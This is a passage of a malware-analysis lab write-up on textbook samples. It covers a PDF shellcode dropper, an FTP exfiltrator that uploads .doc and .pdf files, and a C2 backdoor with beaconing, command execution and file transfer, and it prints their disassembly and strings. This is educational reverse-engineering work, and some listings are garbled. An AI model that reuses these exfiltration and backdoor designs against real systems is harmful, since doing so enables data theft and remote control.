The shellcode attempt to import various functions from kernel32.dll and then using its LoadLibraryA function to load shell32 library to import ShellExecuteA function.

The shellcode then attempts to read the pdf file to extract both the executable payload and a pdf file which are both dropped in the temp folder as foo.exe and bar.pdf respectively.

foo.exe is then executed via CreateProcessA as shwon in Figure 16 and 17.




Figure 16. CreateProcessA for foo.exe




Figure 17. foo.exe

Bar.pdf is then opened via ShellExecuteA. ShellExecuteA uses the victim's default application to open the pdf file.

```
0012FC3C 00350413 | CALL to ShellExecuteA from 00350410
0012FC40 00000000 | hWnd = NULL
0012FC44 0012FC74 | Operation = "open"
0012FC48 0012FCB8 | FileName = "C:\DOCUMENTS\ADMINISTRATOR\LOCALS\Temp\bar.pdf"
0012FC4C 00000000 | Parameters = NULL
0012FC50 00000000 | DefDir = NULL
0012FC54 00000005 | IsShown = 5
0012FC58 6C656873
0012FC5C 0032336C
0012FC60 00000000
0012FC64 00000054
0012FC68 00000058
0012FC6C 00000798
0012FC70 00000504
0012FC74 6E65706F
```

Figure 18. ShellExecuteA for bar.pdf




Figure 19. bar.pdf pops up

d. The purpose of this first lab is to demonstrate the usage of the thispointer. Analyze the malware in *Lab20-01.exe*.

i- Does the function at 0x401040 take any parameters?

If we examine the main function of 'Lab20-01.exe' (C++ executable) in IDA, we see that this doesn't take any parameters; however, it does take a 'this' pointer. By doing this it knows that the function it will be running is for the created object.

```

; int __stdcall WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,LPSTR lpCmdLine,int nShowCmd)
WinMain@16 proc near

var_8= dword ptr -8
var_4= dword ptr -4
hInstance= dword ptr 8
hPrevInstance= dword ptr 0Ch
lpCmdLine= dword ptr 10h
nShowCmd= dword ptr 14h

push    ebp
mov     ebp, esp
sub    esp, 8
push    4
call    ??2QVAPAXI@Z      ; operator new(uint)
add    esp, 4
mov     [ebp+var_8], eax
mov     eax, [ebp+var_8]
mov     [ebp+var_4], eax
mov     ecx, [ebp+var_4]
mov     dword ptr [ecx], offset aHttpWww_practi ; "http://www.practicalmalwareanalysis.com"...
mov     ecx, [ebp+var_4]
call    sub_401040
xor    eax, eax
mov     esp, ebp
pop    ebp
retn    10h
WinMain@16 endp

```

One way to identify this is the lack of clear structure being passed, strange duplication of references being stored prior to it, and the result being stored in our ‘ecx’ register. This is in addition to a URL being moved into our newly created object reference.

ii-Which URL is used in the call to URLDownloadToFile?

At a glance we can see the below URL being moved into ‘dword ptr [ecx]’.

- http://www.practicalmalwareanalysis.com/cpp.html

```

mov    ecx, [ebp+var_4]
mov    dword ptr [ecx], offset aHttpWww_practi ; "http://www.practicalmalwareanalysis.com"...
mov    ecx, [ebp+var_4]
call   sub_401040
xor    eax, eax
mov    esp, ebp
--_


```

Based on this we know that the URL http://www.practicalmalwareanalysis.com/cpp.html is being stored at the start of our newly created object. By examining ‘sub_401040’, we can see that the object passed in our ‘this’ pointer is being stored in [ebp+var_4].

```
floating point not loaded
Microsoft Visual C++ Runtime Library
Runtime Error!
Program:
<program name unknown>
GetLastActivePopup
GetActiveWindow
MessageBoxA
user32.dll
?L@?
;L@?
oN@?
sN@?
FindNextFileA
FindClose
FindFirstFileA
KERNEL32.dll
InternetCloseHandle
FtpPutFileA
FtpSetCurrentDirectoryA
InternetConnectA
InternetOpenA
WININET.dll
WS2_32.dll
HeapAlloc
GetModuleHandleA
GetStartupInfoA
GetCommandLineA
GetVersion
ExitProcess
HeapDestroy
HeapCreate
VirtualFree
HeapFree
VirtualAlloc
HeapReAlloc
TerminateProcess
GetCurrentProcess
UnhandledExceptionFilter
GetModuleFileNameA
FreeEnvironmentStringsA
FreeEnvironmentStringsW
WideCharToMultiByte
GetEnvironmentStrings
GetEnvironmentStringsW
SetHandleCount
GetStdHandle
GetFileType
RtlUnwind
WriteFile
GetLastError
SetFilePointer
GetCPIInfo
GetACP
GetOEMCP
GetProcAddress
LoadLibraryA
SetStdHandle
MultiByteToWideChar
LCMapStringA
LCMapStringW
GetStringTypeA
GetStringTypeW
FlushFileBuffers
CloseHandle
.pdf
.doc
%z-%d.pdf
pdfs
ftp.practicalmalwareanalysis.com
Home ftp client
%z-%d.doc
docs
C:\>*
*.*
```

ii-What do the imports tell you about this program?


Opening this in PE-bear, we can see that this is importing functions from WININET.dll which look to be associated with FTP operations. This leads us to believe the program will function as a FTP client, further backing up our hypothesis from question 1.



Offset	Name	Func. Count	Bound?	OriginalFirstThunk	TimeDateStamp	Forwarder	NameRVA	FirstThunk
64C4	KERNEL32.dll	44	FALSE	6514	0	0	661A	6000
64D8	WININET.dll	5	FALSE	65C8	0	0	668A	60B4
64EC	WS2_32.dll	2	FALSE	65E0	0	0	6696	60CC

WININET.dll [5 entries]						
Call via	Name	Ordinal	Original Thunk	Thunk	Forwarder	Hint
60B4	InternetCloseH...	-	6628	6628	-	56
60B8	FtpPutFileA	-	663E	663E	-	28
60BC	InternetOpenA	-	667A	667A	-	6F
60C0	InternetConnectA	-	6666	6666	-	5A
60C4	FtpSetCurrentDi...	-	664C	664C	-	2E

Examining the imports from KERNEL32.dll we also see what looks to be API calls associated with finding files which match a certain parameter on a system.




Offset	Name	Func. Count	Bound?	OriginalFirstThunk	TimeDateStamp	Forwarder	NameRVA	FirstThunk
64C4	KERNEL32.dll	44	FALSE	6514	0	0	661A	6000
64D8	WININET.dll	5	FALSE	65C8	0	0	668A	60B4
64EC	WS2_32.dll	2	FALSE	65E0	0	0	6696	60CC

KERNEL32.dll [44 entries]						
Call via	Name	Ordinal	Original Thunk	Thunk	Forwarder	Hint
6000	FindNextFileA	-	65EC	65EC	-	9D
6004	FindClose	-	65FC	65FC	-	90
6008	FindFirstFileA	-	6608	6608	-	94
600C	FlushFileBuffers	-	6944	6944	-	AA
6010	GetStringTypeW	-	6932	6932	-	156
6014	GetStringTypeA	-	6920	6920	-	153
6018	LCMapStringW	-	6910	6910	-	1C0
601C	LCMapStringA	-	6900	6900	-	1BF
6020	MultiByteToWide...	-	68EA	68EA	-	1E4
6024	SetStdHandle	-	68DA	68DA	-	27C
6028	LoadLibraryA	-	68CA	68CA	-	1C2


Based on these imports it looks like this program will search for files on a system, and at some stage send them to a remote FTP server.

iii-What is the purpose of the object created at 0x4011D9? Does it have any virtual functions?

If we examine 0x4011D9, we can see that this occurs directly after a comparison which looks to be searching for a .doc file. We can also see checks on one branch which may be looking for a .pdf file.




Of interest in the above is that after an object is created, for what looks to be a .doc file being found, there are 2 sets of 'mov' operations occurring directly after one another.




iv-Which functions could possibly be called by the call [edx] instruction at 0x401349?

Taking a look at the call [edx] instruction at '0x401349', we can see that 3 possible objects are being created. The 3 objects being created are for a PDF file, DOC file, and a file that is neither of these being found on disk. From here we see evidence of Virtual Function Tables being setup, until all the references to a created object merge into a single reference to '[ebp+var_148]'.



Taking a step back, what we're really interested in is the possible virtual functions that different objects would call, which in this case is at 'off_4060DC', 'off_4060D8', and 'off_4060E0' (remember that these all point to the first function in the virtual function table for our created objects).



If we take a look at what these offsets point to, we can see that they point to

- sub_401380
- sub_401440
- '??1_Init_locks@std@@QAE@XZ' (Name mangling has occurred. This tells us the original class was 'std' with a function name of '_Init_locks'. A quick search reveals this is likely an inbuilt C++ function used for creating a lock on an object when it is created)

If we examine sub_401440, we can see that this looks to be establishing a new connection to a remote FTP server and attempting to place a found DOC file into a ‘docs’ directory.

```

00401440 sub_401440 proc near
00401440
00401440 var_118= dword ptr -118h
00401440 hInternet= dword ptr -114h
00401440 szNewRemoteFile= byte ptr -110h
00401440 hConnect= dword ptr -4
00401440
00401440 push    ebp
00401441 mov     ebp, esp
00401443 sub     esp, 118h
00401449 mov     [ebp+var_118], ecx
0040144F push    0           ; dwFlags
00401451 push    0           ; lpszProxyBypass
00401453 push    0           ; lpszProxy
00401455 push    1           ; dwAccessType
00401457 push    offset szAgent ; "Home ftp client"
0040145C call    ds:InternetOpenA
00401462 mov     [ebp+hInternet], eax
00401468 push    0           ; dwContext
0040146A push    0           ; dwFlags
0040146C push    1           ; dwService
0040146E push    0           ; lpszPassword
00401470 push    0           ; lpszUserName
00401472 push    15h          ; nServerPort
00401474 push    offset szServerName ; "ftp.practicalmalwareanalysis.com"
00401479 mov     eax, [ebp+hInternet]
0040147F push    eax          ; hInternet
00401480 call    ds:InternetConnectA
00401486 mov     [ebp+hConnect], eax
00401489 push    offset aDocs   ; "docs"
0040148E mov     ecx, [ebp+hConnect]
00401491 push    ecx          ; hConnect
00401492 call    ds:FtpSetCurrentDirectoryA
00401498 mov     edx, dword_407A30
0040149E push    edx
0040149F push    offset name
004014A4 push    offset aSD_doc ; "%5-%d.doc"
004014A9 lea     eax, [ebp+szNewRemoteFile]
004014AF push    eax          ; char *
004014B0 call    _sprintf
004014B5 add    esp, 10h
004014B8 push    0           ; dwContext
004014BA push    0           ; dwFlags
004014BC lea     ecx, [ebp+szNewRemoteFile]
004014C2 push    ecx          ; lpszNewRemoteFile
004014C3 mov     edx, [ebp+var_118]
004014C9 mov     eax, [edx+4]
004014CC push    eax          ; lpszLocalFile
004014CD mov     ecx, [ebp+hConnect]
004014D0 push    ecx          ; hConnect
004014D1 call    ds:FtpPutFileA
004014D7 mov     edx, [ebp+hConnect]
004014DA push    edx          ; hInternet
004014DB call    ds:InternetCloseHandle
004014E1 mov     eax, [ebp+hInternet]
004014E7 push    eax          ; hInternet
004014E8 call    ds:InternetCloseHandle
004014EE mov     esp, ebp
004014F0 pop     ebp
004014F1 retn
004014F1 sub_401440 endp


```

Based on this we know what functions could be called by the call [edx] instruction at 0x401349.


v-How could you easily set up the server that this malware expects in order to fully analyze the malware without connecting it to the Internet?

Given we know that this is expecting an FTP server to be present at [ftp.practicalmalwareanalysis.com](ftp://practicalmalwareanalysis.com) for exfiltration, we can setup a local ftp server using software such as [XAMPP](#) or [FileZilla](#) and then redirect any calls for that domain to our local host like we've done in previous labs.

We know based on what was found in question 4 that this doesn't look to be authenticating to the ftp server in question. Due to this we will first need to enable an 'anonymous' user account on our FTP server and ensure it doesn't require a password. In addition we will need to configure the home directory where captured files will be sent.



After doing this we can fire up ApateDNS, our FTP Server, and logon to the admin interface of our FTP server to track what is being sent to it. By running the program we can see DNS requests being made which are redirected to our own host. From here the program begins to establish a FTP connection, store the file found, and then disconnects from the FTP server causing a number of connections to occur.



This also highlights that the malware is attempting to store each type of file found in a folder called ‘docs’ or ‘pdfs’ depending on the extension being exfiltrated. This backs up what we found in our previous analysis.

By performing these actions, we are able to fully analyse the malware without connecting it to the internet.

vi-What is the purpose of this program?

The purpose of this program is to find .pdf and .doc files on your system and exfiltrate these to a remote FTP server at <ftp.practicalmalwareanalysis.com>.

vii-What is the purpose of implementing a virtual function call in this program?

By implementing virtual functions the program is able to perform different actions depending on the object file extension found on the host. In this case the different functions were to specify what directory exfiltrated files would be stored in.

f. Analyze the malware in Lab20-03.exe.

i-What can you learn from the interesting strings in this program?

By running strings against this binary we can begin to infer what it may be used for and what functionality it may have.

```
strings Lab20-03.exe
```

Finally we can see that this looks to perform some Base64-encoding or decoding functions, potentially using a custom index_string, we see reference to remote URIs, a reference to original C++ classes being labelled as a ‘BackdoorClient’ in addition to ‘Polling’ and ‘Beacon’ strings. Further to this we can see this program looks to gather Host/User information, has the ability to upload and download files, the ability to create arbitrary processes, and can make GET/POST requests.

```

Lmc
...
PLMOKNIJBHUHVYGTFCRDYESZWAQzaqxswcdevfrbgtnhymjukilop
ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz
...?AException@@
...?AURuntime_error@std@@
...?AUB64Error@C
...?AUB64EncodeError@C
Encoding Args Error
/srv.html
/put.html
/get.html
/response.html
/info.html
/index.html
...?AUBackdoorClientParentError@@
...?AUBackdoorClientError@@
Beacon response Error
Caught exception during pollstatus: xs
Polling error
zs?id=%s
...?AUcmdParseError@C
Arg parsing error
zs %s "%s"
Error uploading file
Error downloading file
user=%s, host=%s, Major Version=%d, Minor Version=%d, Locale=%d
Error conducting machine survey
Create Process Failed
;computer=
volsn=
victim;
Failed to gather victim information
...?AUReadConfigError@C
Config error
config.dat
...?AUMaskConfigError@C
Caught exception in main: xs
...?AUConnectError@C
...?AUNetworkError@C
...?AUSocketError@C
Socket Connection Error
Internet Explorer 10.0
...?AUResolveHostError@C
Host lookup failed.
...?AUSendError@C
...?AUNotConnectedError@C
Send Data Error
...?AUHttpResponseError@C
Error reading response
Content-Length:
Error reading response
HTTP/
...?AUGetError@C
Error sending Http get
GET xs HTTP/1.1
HOST: xs
User-Agent: xs
Accept: text/html
Accept-Language: en-uk,en
Accept-Charset: utf-8
Connection: close
data=
...?AUPostError@C
POST xs HTTP/1.1
HOST: xs
User-Agent: xs
Content-Length: %d
Content-Type: application/x-www-form-urlencoded
Error sending Http post
...?AUUsaStartupError@C
Failed to initialize WSA
...?AVios_base@std@@
...?AVU$basic_ios@DU?$_char_traits@D@std@C@std@C@@
...?AVU$basic_istream@DU?$_char_traits@D@std@C@std@C@@
...?AVU$basic_oiostream@DU?$_char_traits@D@std@C@std@C@@
...?AVU$basic_streambuf@DU?$_char_traits@D@std@C@std@C@@
...?AVU$basic_filebuf@DU?$_char_traits@G@std@C@std@C@@
...?AVU$basic_ios@GU?$_char_traits@G@std@C@std@C@@
...?AVU$basic_istream@GU?$_char_traits@G@std@C@std@C@@
...?AVU$basic_oiostream@GU?$_char_traits@G@std@C@std@C@@
...?AVU$basic_streambuf@GU?$_char_traits@G@std@C@std@C@@
...?AVU$basic_filebuf@GU?$_char_traits@G@std@C@std@C@@
...?AVU$basic_ios@DU?$_logic_error@std@@
...?AVUlength_error@std@@
...?AVUout_of_range@std@@
...?AVUfailure@ios_base@std@@
...?AVUfacet@locale@std@@
...?AVU_Locimpl@locale@std@@
...?AVUtype_info@C
    
```

Immediately we begin to believe this is some sort of information gathering remote access tool/trojan which provides the ability to exfiltrate files and run commands on a system.

ii-What do the imports tell you about this program?

Opening this in the latest available version of pestudio (in this case 9.09), we can see that a number of imports are already down as ‘blacklisted’, in addition to some deprecated APIs being used by the program.

name (66)	group (8)	type (1)	ordinal (11)	blacklist (17)	anti-debug (0)	undocumented (0)	deprecated (10)	library (3)
115 (WSAStartup)	network	implicit	x	x	-	-	-	ws2_32.dll
116 (WSACleanup)	network	implicit	x	x	-	-	-	ws2_32.dll
19 (send)	network	implicit	x	x	-	-	-	ws2_32.dll
16 (recv)	network	implicit	x	x	-	-	-	ws2_32.dll
11 (inet_addr)	network	implicit	x	x	-	-	-	ws2_32.dll
52 (gethostbyname)	network	implicit	x	x	-	-	-	ws2_32.dll
111 (WSAGetLastError)	network	implicit	x	x	-	-	-	ws2_32.dll
3 (closesocket)	network	implicit	x	x	-	-	-	ws2_32.dll
9 (htons)	network	implicit	x	x	-	-	-	ws2_32.dll
23 (socket)	network	implicit	x	x	-	-	-	ws2_32.dll
4 (connect)	network	implicit	x	x	-	-	-	ws2_32.dll
CreateProcessA	execution	implicit	-	x	-	-	-	kernel32.dll
TerminateProcess	execution	implicit	-	x	-	-	-	kernel32.dll
GetEnvironmentStrings	execution	implicit	-	x	-	-	-	kernel32.dll
GetEnvironmentStringsW	execution	implicit	-	x	-	-	-	kernel32.dll
RaiseException	exception-handling	implicit	-	x	-	-	-	kernel32.dll
GetModuleFileNameA	dynamic-library	implicit	-	x	-	-	-	kernel32.dll
GetVersionExA	system-information	implicit	-	-	-	-	x	kernel32.dll
GetComputerNameA	system-information	implicit	-	-	-	-	-	kernel32.dll
GetUserNameA	system-information	implicit	-	-	-	-	-	advapi32.dll
GetStringTypeW	memory	implicit	-	-	-	-	x	kernel32.dll
GetStringTypeA	memory	implicit	-	-	-	-	x	kernel32.dll
IsBadCodePtr	memory	implicit	-	-	-	-	x	kernel32.dll
IsBadReadPtr	memory	implicit	-	-	-	-	x	kernel32.dll
HeapFree	memory	implicit	-	-	-	-	-	kernel32.dll
HeapAlloc	memory	implicit	-	-	-	-	-	kernel32.dll
HeapReAlloc	memory	implicit	-	-	-	-	-	kernel32.dll
HeapSize	memory	implicit	-	-	-	-	-	kernel32.dll
HeapDestroy	memory	implicit	-	-	-	-	-	kernel32.dll
HeapCreate	memory	implicit	-	-	-	-	-	kernel32.dll
VirtualFree	memory	implicit	-	-	-	-	-	kernel32.dll
VirtualAlloc	memory	implicit	-	-	-	-	-	kernel32.dll
IsBadWritePtr	memory	implicit	-	-	-	-	x	kernel32.dll
GetFileSize	file	implicit	-	-	-	-	-	kernel32.dll
CreateFileA	file	implicit	-	-	-	-	-	kernel32.dll
WriteFile	file	implicit	-	-	-	-	-	kernel32.dll
ReadFile	file	implicit	-	-	-	-	-	kernel32.dll
GetFileType	file	implicit	-	-	-	-	-	kernel32.dll
SetFilePointer	file	implicit	-	-	-	-	-	kernel32.dll
FlushFileBuffers	file	implicit	-	-	-	-	-	kernel32.dll
Sleep	execution	implicit	-	-	-	-	-	kernel32.dll
GetCommandLineA	execution	implicit	-	-	-	-	-	kernel32.dll
ExitProcess	execution	implicit	-	-	-	-	-	kernel32.dll
GetCurrentProcess	execution	implicit	-	-	-	-	-	kernel32.dll
FreeEnvironmentStringsA	execution	implicit	-	-	-	-	-	kernel32.dll
FreeEnvironmentStringsW	execution	implicit	-	-	-	-	-	kernel32.dll
GetStartupInfoA	execution	implicit	-	-	-	-	-	kernel32.dll
SetUnhandledExceptionFilter	exception-handling	implicit	-	-	-	-	-	kernel32.dll
UnhandledExceptionFilter	exception-handling	implicit	-	-	-	-	-	kernel32.dll
LoadLibraryA	dynamic-library	implicit	-	-	-	-	-	kernel32.dll
GetProcAddress	dynamic-library	implicit	-	-	-	-	-	kernel32.dll
GetLastError	diagnostic	implicit	-	-	-	-	-	kernel32.dll
SetStdHandle	console	implicit	-	-	-	-	-	kernel32.dll
GetStdHandle	console	implicit	-	-	-	-	-	kernel32.dll


Of interest is that we can see this has the ability to make network connections, execute processes, and sleep, all of which would be pretty common functions for a remote access tool/trojan which leveraged the sleep API call to allow checking into the C2 periodically.

iii- The function 0x4036F0 is called multiple times and each time it takes the string Config error, followed a few instructions later by a call to CxxThrowException. Does the function take any parameters other than the string? Does the function return anything? What can you tell about this function from the context in which it's used?

If we first examining cross-references to 0x4036F0, we can see that it is called 5 times throughout this program.

Dire...	T.	Address	Text
Up	p	sub_403180+41	call sub_4036F0
Up	p	sub_403180+B9	call sub_4036F0
Up	p	sub_403180+E6	call sub_4036F0
Up	p	sub_403180+170	call sub_4036F0
Up	p	sub_403180+18D	call sub_4036F0

Looking at where these are called we can see they all take place inside of 'sub_403180'. An example of this is shown below.



Based on this we know that the function 0x4036F0 doesn't take any parameters other than the Config error string. Taking a look we can see that this same object (which we're beginning to believe is part of an exception object) is used as a parameter to the CxxThrowException function.

Based on all of this context, and by examining the patterns which occur right before 0x4036F0 is called, we can infer that these are all exception objects which raise an exception if the specified config.dat file doesn't exist or is invalid.

iv- What do the six entries in the switch table at 0x4025C8 do?

If we jump to 0x4025C8 we find the six entries in the switch table which are referenced at 0x40252A.

```

>C7          nop
>C7 ; -----
>C8 off_4025C8    dd offset loc_402561
>C8           dd offset loc_402531
>C8           dd offset loc_402559
>C8           dd offset loc_40253B
>C8           dd offset loc_402545
>C8           dd offset loc_40254F
>E0

```

; DATA XREF: .text:0040252A| |
| --- |
| |

; jump table for switch statement

If we follow this reference, we can see that this is triggered by a reference at 0x402500.

```

>0251D
>0251D loc_40251D:           ; CODE XREF: .text:00402500↑j
>0251D xor     eax, eax
>0251F mov     al, [esi+4]
>02522 add    eax, 0FFFFF9Fh ; switch 6 cases
>02525 cmp    eax, 5
>02528 ja     short loc_40257D ; default
>0252A jmp    ds:off_4025C8[eax*4] ; switch jump
>02531

```

If we continue tracking back what kicks this off, we can find at 'loc_402410' there's a cross-reference to an offset within 'sub_403BE0'. This is ultimately what kicks off any one of these switches to occur.

```

var_14= dword ptr -14h
var_10= dword ptr -10h
var_4= dword ptr -4

push    ebp
mov     ebp, esp
push    0FFFFFFFh
push    offset loc_40EA4B
mov     eax, large fs:0
push    eax
mov     large fs:0, esp
sub    esp, 0Ch
push    ebx
push    esi
push    edi
xor    ebx, ebx
mov     [ebp+var_10], esp
push    30h
mov     [ebp+var_4], ebx
call    ??2@YAPAXI@Z      ; operator new(uint)
mov     ecx, eax
add    esp, 4
mov     [ebp+var_14], ecx
cmp    ecx, ebx
mov     byte ptr [ebp+var_4], 1
jz     short loc_403C2B

```

```

push    offset FileName ; "config.dat"
call    sub_401EE0
mov     esi, eax
jmp    short loc_403C2D

```

```

loc_403C2B:
xor    esi, esi

```

```

loc_403C2D:
mov    ecx, esi
mov    byte ptr [ebp+var_4], bl
call    sub_401F80
mov    edi, ds:$Sleep

```

```

loc_403C3D:
mov    eax, [esi]
mov    eax, [eax+190h]
lea     eax, [eax+eax*4]
lea     eax, [eax+eax*4]
lea     ecx, [eax+eax*4]
shl    ecx, 2
push   ecx          ; dwMilliseconds
call    edi ; Sleep
mov    ecx, esi
call    loc_402410
inc    ebx
jmp    short loc_403C3D
sub_403BE0 endp

```

If we were to look at what calls this, we'd find it is the only call within our `_main` method which is kicked off shortly after the program 'start' method runs. Of interest in the above is that we can see a looping function and a call to 'sleep'. Right before this happens there's a call to 'sub_401F80' which we'll examine further.

```

NUL
mov    eax, [esi]
mov    edx, [eax+144h]
add    eax, 104h
push   edx          ; hostshort
push   eax          ; char *
call   sub_403D50
mov    ebx, eax

loc_401FDE:
mov    ecx, esi
mov    byte ptr [ebp+var_4], 0
call   sub_402FF0
mov    esi, eax
or     ecx, 0FFFFFFFh
mov    edi, esi
xor    eax, eax
repne scasb
mov    edi, [ebp+var_14]
not    ecx
mov    eax, [edi+10h]
dec    ecx
push   ecx
push   esi
push   eax
mov    ecx, ebx
call   sub_404ED0
push   esi          ; void *
call   ??3@VAXPAX@Z      ; operator delete(void *)
add    esp, 4
lea    ecx, [ebp+var_18]
mov    [ebp+var_18], 0
push   ecx
mov    ecx, ebx
call   sub_404B10
mov    esi, eax
mov    eax, [ebp+var_18]
push   eax
push   esi
mov    ebx, eax
call   sub_4015C0
add    esp, 8
cmp    ebx, 11Ch
mov    [ebp+var_1C], esi
jnb    short loc_402059

```

In the above we find 5 calls to subroutines to examine further.

- sub_403D50


Based on the above User-Agent string and API calls, we can assume this plays the role of establishing a connection to the C2.

- sub_402FF0



Based on the above strings and API calls, we can assume this plays the role of gathering initial system information to send back to the C2.

- sub_404ED0




```
sub_404ED0 proc near
arg_0= dword ptr 4
arg_4= dword ptr 8
arg_8= dword ptr 0Ch

mov    eax, [esp+arg_8]
mov    edx, [esp+arg_4]
push   offset aData ; "data='"
push   eax
mov    eax, [esp+8+arg_0]
push   edx
push   eax
call   sub_404EF0
ret    0Ch
sub_404ED0 endp
```



Based on the above strings and errors being called, we can assume this is receiving the response to our request and checking to see if it matches an expected valid HTTP response.

- sub_4015C0




Based on the above strings and what looks to be Base64 index_strings, we can assume this is Base64-encoding or decoding the response received from the C2 server.

At this point we have a good idea of what actions the Beacon will take prior to 'loc_402410' inevitably calling the switch table at 0x4025C8. We also know that the six entries in this switch table are likely six different actions to take based on the response received from the C2.

To find out what each of the switch entries does we can investigate them further.

- loc_402561



This tells us that case 0x62 is likely designed to notify the beacon to sleep for a certain amount of time before checking back in for new commands.

- `loc_402559`


```
.text:00402559 loc_402559:          ; CODE XREF: .text:0040252A↑j
.text:00402559 push    esi             ; DATA XREF: .text:off_4025C8↓o
.text:00402559 mov     ecx, ebx        ; case 0x63
.text:0040255A call    sub_402F80       ; CODE XREF: .text:0040252A↑j
.text:0040255C
.text:00402561 loc_402561:          ; CODE XREF: .text:0040252A↑j
.text:00402561 push    esi             ; .text:00402539↑j ...
.text:00402561 call    ??3@YAXPAX@Z   ; case 0x61
.text:00402562 mov     ecx, [ebp-0Ch]  ; operator delete(void *)
.text:00402567 add    esp, 4
.text:0040256D mov     al, 1
.text:0040256F mov     large fs:0, ecx
.text:00402576 pop    edi
.text:00402577 pop    esi
.text:00402578 pop    ebx
.text:00402579 mov     esp, ebp
.text:0040257B pop    ebp
.text:0040257C retn
```

This is case 0x63, and from the above we can see that this calls ‘sub_402F80’ before flowing into and executing case 0x61. Examining ‘sub_402F80’ we don’t find much besides another call to ‘sub_402EF0’. By looking at sub_402EF0, we can see that this looks to call CreateProcessA in order to run a command sent to it.

```

xor    eax, eax
push   edi
mov    [esp+74h+hObject], eax
mov    ecx, 11h
mov    [esp+8], eax
lea    edi, [esp+74h+StartupInfo]
mov    [esp+90h], eax
lea    edx, [esp+74h+StartupInfo]
rep stosd
lea    ecx, [esp+74h+hObject]
mov    [esp+10h], eax
push   ecx          ; lpProcessInformation
push   edx          ; lpStartupInfo
push   eax          ; lpCurrentDirectory
push   eax          ; lpEnvironment
push   eax          ; dwCreationFlags
push   eax          ; bInheritHandles
push   eax          ; lpThreadAttributes
push   eax          ; lpProcessAttributes
mov    eax, [esp+94h+lpCommandLine]
mov    [esp+94h+StartupInfo.cb], 44h
push   eax          ; lpCommandLine
push   0             ; lpApplicationName
call   ds>CreateProcessA
test  eax, eax
pop   edi
jnz   short loc_402F5B


```



```

push  offset aCreateProcessF ; "Create Process Failed"
lea   ecx, [esp+74h+var_60]
call  sub_403910
lea   ecx, [esp+70h+var_60]
push  offset unk_411150
push  ecx
call  __CxxThrowException@8 ; __CxxThrowException(x,x)

```



```

loc_402F5B:
mov   edx, [esp+70h+hObject]
push  esi
mov   esi, ds:CloseHandle
push  edx          ; hObject
call  esi ; CloseHandle
mov   eax, [esp+8]
push  eax          ; hObject
call  esi ; CloseHandle
mov   al, 1
pop   esi
add   esp, 70h
ret   4
sub_402EF0 endp

```

```

J4      SHORT loc_402A8D
Nul
mov     eax, dword ptr [ebp+hostshort]
mov     edx, [ebp+arg_0]
push    eax          ; hostshort
push    edx          ; char *
call    sub_403D50
mov     ebx, eax
jmp    short loc_402A8D

Nul
loc_402A8B:
xor    ebx, ebx

Nul
loc_402A8D:
mov    eax, [esi+1Ch]
mov    ecx, ebx
push   eax
mov    byte ptr [ebp+var_4], 0
call   sub_404CF0
lea    ecx, [ebp+var_18]
mov    [ebp+var_18], edi
push   ecx
mov    ecx, ebx
call   sub_404B10
mov    edx, [ebp+var_18]
push   edx
push   eax
call   sub_4015C0
mov    eax, [ebp+lpFileName]
add    esp, 8
push   edi          ; hTemplateFile
push   3            ; dwFlagsAndAttributes
push   1            ; dwCreationDisposition
push   edi          ; lpSecurityAttributes
push   3            ; dwShareMode
push   40000000h    ; dwDesiredAccess
push   eax          ; lpFileName
call   ds>CreateFileA
mov    ebx, eax
cmp    ebx, 0FFFFFFFh
mov    [ebp+var_20], ebx
jnz    short loc_402AF3

Nul
push  offset aErrorDownloadi ; "Error downloading file"
lea   ecx, [ebp+var_44]
call sub_403910
lea   ecx, [ebp+var_44]
push offset unk_411150
push  ecx
call __CxxThrowException@8 ; _CxxThrowException(x,x)

```


In addition the above shows us evidence of a file being written to disk from the response received, and an error message associated with downloading a file.

This tells us that case 0x64 is likely designed to download a file from the C2.

- loc_402545

```
.text:00402545 loc_402545:          ; CODE XREF: .text:0040252A↑j
.text:00402545 push    esi             ; DATA XREF: .text:0FF_4025C8↓o
.text:00402545                 ; case 0x65
.text:00402545 push    ecx, ebx
.text:00402546                 ; case 0x65
.text:00402546 call    sub_402C70
.text:00402548                 ; case 0x61
.text:0040254D jmp     short loc_402561 ; case 0x61
.text:0040254F
```

This is case 0x65, and from the above we can see that this calls ‘sub_402C70’ before executing case 0x61. Examining ‘sub_402C70’ we can see that it calls ‘sub_4027E0’. If we look into what ‘sub_4027E0’ is doing we can see a call to CreateFileA which in this instance looks to be getting a handle on a file before its bytes are read in a looping function and it is uploaded to the C2.



This tells us that case 0x65 is likely designed to upload a file to the C2.

- loc_40254F

```
.text:0040254F
.text:0040254F loc_40254F:                                ; CODE XREF: .text:0040252A↑j
.text:0040254F                                         ; DATA XREF: .text:off_4025C8↓o
    push    esi         ; case 0x66
    mov     ecx, ebx
    call   sub_402D30
    jmp    short loc_402561 ; case 0x61
```

```

sub_401EE0 proc near

var_10= dword ptr -10h
var_C= dword ptr -0Ch
var_4= dword ptr -4
arg_0= dword ptr 4

push    0FFFFFFFh
push    offset loc_40E82B
mov     eax, large fs:0
push    eax
mov     large fs:0, esp
push    ecx
push    esi
mov     esi, ecx
push    104h
call    ??2@YAPAXI@Z      ; operator new(uint)
add    esp, 4
mov     [esp+14h+var_10], eax
test   eax, eax
mov     [esp+14h+var_4], 0
jz     short loc_401F24

loc_401F24:
xor    eax, eax

loc_401F26:
mov    ecx, [esp+14h+arg_0]
push   ecx
mov    ecx, eax
call   sub_403180
jmp    short loc_401F26

loc_401F26:
mov    ecx, [esp+14h+var_C]
mov    [esi], eax
mov    dword ptr [esi+10h], offset aIndex_html ; "/index.html"
mov    dword ptr [esi+14h], offset aInfo_html ; "/info.html"
mov    dword ptr [esi+18h], offset aResponse_html ; "/response.html"
mov    dword ptr [esi+1Ch], offset aGet_html ; "/get.html"
mov    dword ptr [esi+20h], offset aPut_html ; "/put.html"
mov    dword ptr [esi+24h], offset aSrv_html ; "/srv.html"
mov    dword ptr [esi+28h], 'TOCI'
mov    dword ptr [esi+2Ch], 'ASGD'
mov    eax, esi
pop    esi
mov    large fs:0, ecx
add    esp, 10h
ret    4
sub_401EE0 endp

```


